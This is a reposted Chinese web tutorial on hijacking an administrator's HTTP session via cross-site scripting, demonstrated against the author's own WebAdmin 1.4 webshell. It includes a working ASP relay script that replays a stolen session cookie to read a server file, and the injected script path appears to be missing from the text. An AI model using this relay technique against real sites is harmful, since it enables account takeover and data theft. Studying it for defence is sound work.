收藏本站 
广告服务 
网站地图 
>> 本频道近100000余篇各类电脑技术、网络技术、软件技术、网页及平面设计等方面的电脑教程,我们的原则:不是精华拒不收录!
先飞电脑技术网技术文章网络技术网络安全
网络编程 | 网站建设 | 网络技术 | 设计教程 | 软件教学 | 程序开发 | 数据库开发 | 教育认证 | 硬件维护 | 媒体动画 | 机械电子 |
了解黑客跨站实现HTTP会话劫持
[ 作者:佚名    转贴自:网络转载    阅读次数:67    更新时间:2007-9-16 10:08:00   录入:刘光勇 ]         
    Web应用程序是通过2种方式来判断和跟踪不同用户的:Cookie或者Session(也叫做会话型Cookie)。其中Cookie是存储在本地计算机上的,过期时间很长,所以针对Cookie的攻击手段一般是盗取用户Cookie然后伪造Cookie冒充该用户;而Session由于其存在于服务端,随着会话的注销而失效(很快过期),往往难于利用。所以一般来说Session认证较之Cookie认证安全。

当然啦,Session难于利用并不等于不能利用,本文将通过一个小小的例子实现一次简单的HTTP会话劫持。

还是以ASP为例,ASP程序是如何得到客户端Session的呢?通过抓包可以发现HTTP请求的Cookie字段有个ASPSESSIONIDXXXXXXXX(X是随机的字母)值,ASP程序就是通过这个值判断Session的。如果我们得到管理员的ASPSESSIONIDXXXXXXXX及其值,并在这次会话结束之前提交到服务器,那么我们的身份就是管理员啦!

那怎么得到Session呢?答案是跨站。因为javascript的documents.cookie()方法会把Cookie读出来,当然也包括会话型Cookie。

如果你关注Web安全,相信你一定看到过记录跨站得到Cookie的脚本程序,我们也需要一个类似的程序,但功能不是记录,而是立即转发(因为当前会话随时可能由于管理员退出而失效)。这个程序可以用ASP、PHP、Perl甚至C来实现,我还是用ASP吧J

要写这个程序,你还必须对要攻击的程序相当了解,因为你要提交各种请求。那现在先看看本例中被跨站的程序吧。

很荣幸,我选中了WebAdmin 1.4,嘿嘿,自己写的程序自己肯定最清楚哪里有漏洞啊。呵呵,简要介绍一下,WebAdmin是一个ASP.Net下的webshell,使用的Session认证方式,1.4版本的跨站存在于目录浏览的URL。

所以我就在src中构造这样的路径:“E: ”。这段代码就是把当前cookie作为参数提交给www.target.org/test/cc.asp文件。

cc.asp文件内容如下:

<%
'only for test with CSS
str = request("a")
Set xPost = CreateObject("Msxml2.ServerXMLHTTP")
xPost.Open "GET", "http://222.210.115.*:813/
webadmin.aspx?action=edit&src=E:\MyWeb\webadmin.aspx", False
xPost.setRequestHeader "Cookie",str
xPost.Send()
         Set sGet = CreateObject("ADODB.Stream")
         sGet.Mode = 3
         sGet.Type = 1
         sGet.Open()
         sGet.Write(xPost.responseBody)
         sGet.SaveToFile Server.MapPath("a.txt"),2
         set sGet = nothing
Set xPOST=nothing
%>

该文件目的是获取管理员Session并利用WebAdmin的文件编辑功能查看222.210.115.*(被攻击的Web服务器,其实是我本机啦)的E:\MyWeb\webadmin.aspx文件内容并把内容保存到本地的a.txt文件中。数据的提交使用的是ServerXMLHTTP组件,它与XMLHTTP有相似之处,也有异同,具体的可以看看《ServerXMLHTTP vs XMLHTTP》。

准备就绪,先登陆WebAdmin然后再访问构造好的跨站URL,呵呵,然后去看http://www.target.org/test/a.txt。

你也可以试试直接访问cc.asp,呵呵,生成的a.txt将是一个登陆界面的源文件。

哈哈,现在热烈庆祝一下本次HTTP会话劫持测试胜利闭幕,总的来说实行一次这样的攻击难度还是很大的,不过话又说回来,在技术这块领域,除了Copy人家的代码,还有不需要努力就能做好的事情吗?

文章首页【加入到收藏夹】告诉好友】【打印此文】【关闭窗口
  版权声明:本站提供的“了解黑客跨站实现HTTP会话劫持”版权归文章所有者,转载请注明出处!
 ·上一篇文章:巧妙破解开别人ASP木马密码的方法      ·下一篇文章:两招关闭微软系统特殊共享资源
相关文章
·了解黑客跨站实现HTTP会话劫持[67]
·认识黑客入侵的利器 了解嗅探软件[16]
·Vista新增组策略使用全了解[108]
·了解黑客是如何利用VNC服务提升权限[98]
·了解DB2中实现Oracle的相关功能[57]
网站主页 | 收藏本页 | 联系我们 | 广告服务 | 站点地图 | 会员注册 | 招聘信息 | 内容指正

联系QQ:先飞电脑技术网站事务联系QQ,点击可以直接留言. 32933427 电话:13710542091 [世界排名] 鄂ICP备05005890号 先飞电脑教程网